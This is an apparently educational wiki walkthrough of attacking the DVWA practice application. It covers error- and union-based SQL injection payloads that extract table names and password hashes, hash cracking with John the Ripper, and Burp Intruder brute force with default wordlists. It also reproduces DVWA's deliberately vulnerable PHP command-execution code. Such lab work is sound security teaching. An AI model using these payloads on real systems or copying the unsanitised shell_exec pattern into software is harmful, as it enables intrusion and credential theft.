* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
        // Set blacklist&lt;br /&gt;
        $substitutions = array(&lt;br /&gt;
                &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
                &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        );&lt;br /&gt;
 &lt;br /&gt;
        // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now we will perform a series of information gathering commands as demonstrated below.&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
</feed>